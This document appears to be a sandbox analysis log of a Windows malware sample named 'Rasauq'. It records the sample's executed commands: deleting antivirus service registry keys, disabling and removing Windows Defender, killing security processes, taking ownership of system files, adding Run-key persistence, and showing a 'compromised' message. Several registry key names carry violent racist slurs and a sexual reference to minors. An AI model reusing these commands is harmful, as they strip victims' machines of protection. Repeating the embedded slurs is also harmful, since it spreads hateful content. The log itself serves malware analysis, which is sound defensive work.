C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\bdservicehost" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\bdagent" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\bdredline" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\bdparentalservice" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\bdreinit" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\bdsubwiz" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\seccenter" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\vsserv" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\epssecurityservice" /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f4⤵
- Modifies Windows Defender DisableAntiSpyware settings
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableBehaviorMonitoring" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableOnAccessProtection" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\sc.exesc stop WinDefend4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete WinDefend4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop SecurityHealthService4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete SecurityHealthService4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop Sense4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete Sense4⤵
- Launches sc.exe
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM MsMpEng.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM MpCmdRun.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM SecurityHealthSystray.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM smartscreen.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\Microsoft\Windows Defender" /grant Administrators:F /t /c /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Program Files\Windows Defender" /r /d y4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Windows Defender" /grant Administrators:F /t /c /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinDefend" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Sense" /f4⤵
-
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\notepad.exe /a /r /d y4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\notepad.exe /grant Administrators:F /t /c /l /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\calc.exe /a /r /d y4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\calc.exe /grant Administrators:F /t /c /l /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\Taskmgr.exe /a /r /d y4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\Taskmgr.exe /grant Administrators:F /t /c /l /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\powercfg.exepowercfg /hibernate off REM Disables hibernation4⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exepowercfg /change standby-timeout-ac 0 REM Prevents sleep while plugged in4⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exepowercfg /change standby-timeout-dc 0 REM Prevents sleep on battery4⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exepowercfg /change standby-timeout-ac 0 REM Prevent sleep when plugged in4⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exepowercfg /devicedisablewake "Device Name"4⤵
- Power Settings
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exepowercfg /devicedisablewake "USB Root Hub"4⤵
- Power Settings
- Checks SCSI registry key(s)
-
-
C:\Windows\system32\reg.exeREG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Service" /t REG_SZ /d "" /f4⤵
- Adds Run key to start application
-
-
C:\Windows\system32\reg.exereg add "HKCR\behead all niggers" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCC\SOFTWARE\hello today guys i will be killing all the niggas while warching loli" /f4⤵
-
-
C:\Windows\system32\reg.exereg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "LetsRemoveRasauq"4⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "RasauqRemover" /t REG_SZ /d "\"\"" /f4⤵
- Adds Run key to start application
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKU" /s /f "Software" /k4⤵
-
C:\Windows\system32\reg.exereg query "HKU" /s /f "Software" /k5⤵
-
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\.DEFAULT\Software\Software\Rasauq on top" /f4⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\.DEFAULT\Software\Classes\Local Settings\Software\Software\Rasauq on top" /f4⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing\Software\Rasauq on top" /f4⤵
- Manipulates Digital Signatures
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-19\SOFTWARE\Software\Rasauq on top" /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-19\SOFTWARE\Classes\Local Settings\Software\Software\Rasauq on top" /f4⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing\Software\Rasauq on top" /f4⤵
- Manipulates Digital Signatures
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-20\SOFTWARE\Software\Rasauq on top" /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-20\SOFTWARE\Classes\Local Settings\Software\Software\Rasauq on top" /f4⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing\Software\Rasauq on top" /f4⤵
- Manipulates Digital Signatures
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-20\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Software\Rasauq on top" /f4⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Software\Rasauq on top" /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\AppDataLow\Software\Software\Rasauq on top" /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Speech_OneCore\Isolated\hI8XsvMZLfGME4pGvcu5ybXE8iojEgqtSsGWO-tcVAk\HKEY_LOCAL_MACHINE\SOFTWARE\Software\Rasauq on top" /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Speech_OneCore\Isolated\hI8XsvMZLfGME4pGvcu5ybXE8iojEgqtSsGWO-tcVAk\HKEY_CURRENT_USER\SOFTWARE\Software\Rasauq on top" /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing\Software\Rasauq on top" /f4⤵
- Manipulates Digital Signatures
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Classes\Local Settings\Software\Software\Rasauq on top" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Software\Software\Rasauq on top" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Software\Rasauq on top" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKwN2EBJ1Cyr7HTF0\HKEY_LOCAL_MACHINE\SOFTWARE\Software\Rasauq on top" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000_Classes\Local Settings\Software\Software\Rasauq on top" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Software\Software\Rasauq on top" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Software\Rasauq on top" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKwN2EBJ1Cyr7HTF0\HKEY_LOCAL_MACHINE\SOFTWARE\Software\Rasauq on top" /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-18\Software\Software\Rasauq on top" /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-18\Software\Classes\Local Settings\Software\Software\Rasauq on top" /f4⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing\Software\Rasauq on top" /f4⤵
- Manipulates Digital Signatures
-
-
C:\Windows\system32\reg.exereg add "End of search: 26 match(es) found.\Software\Rasauq on top" /f4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:3 "This machine has been compromised by Rasuaq"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://cdn-cf-east.streamable.com/video/mp4/j3mt4w.mp4?Expires=17424670400714⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x2c8,0x2cc,0x2d0,0x2c4,0x2f0,0x7ffe8c46f208,0x7ffe8c46f214,0x7ffe8c46f2205⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1920,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=2296 /prefetch:35⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2260,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=2256 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=1832,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=2580 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3452,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=3536 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3496,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=3560 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4356,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=4912 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4856,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=4956 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4212,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=5304 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5356,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=5412 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5356,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=5412 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --field-trial-handle=6084,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=6104 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --field-trial-handle=6276,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=6080 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --field-trial-handle=6516,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=6532 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6724,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=6456 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6720,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=5452 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6476,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=6716 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --field-trial-handle=6652,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=5144 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --field-trial-handle=6456,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=5240 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5016,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=5028 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --field-trial-handle=5256,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=5852 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --always-read-main-dll --field-trial-handle=7020,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=5036 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --field-trial-handle=7216,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=7240 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --always-read-main-dll --field-trial-handle=7552,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=7560 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --field-trial-handle=7864,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=7828 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --always-read-main-dll --field-trial-handle=7980,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=7952 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --always-read-main-dll --field-trial-handle=8168,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=7960 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --always-read-main-dll --field-trial-handle=7716,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=7736 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --always-read-main-dll --field-trial-handle=8568,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=8460 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --always-read-main-dll --field-trial-handle=8580,i,10916742396438302108,4281745891922318386,262144 --variations-seed-version --mojo-platform-channel-handle=8688 /prefetch:15⤵
-
-
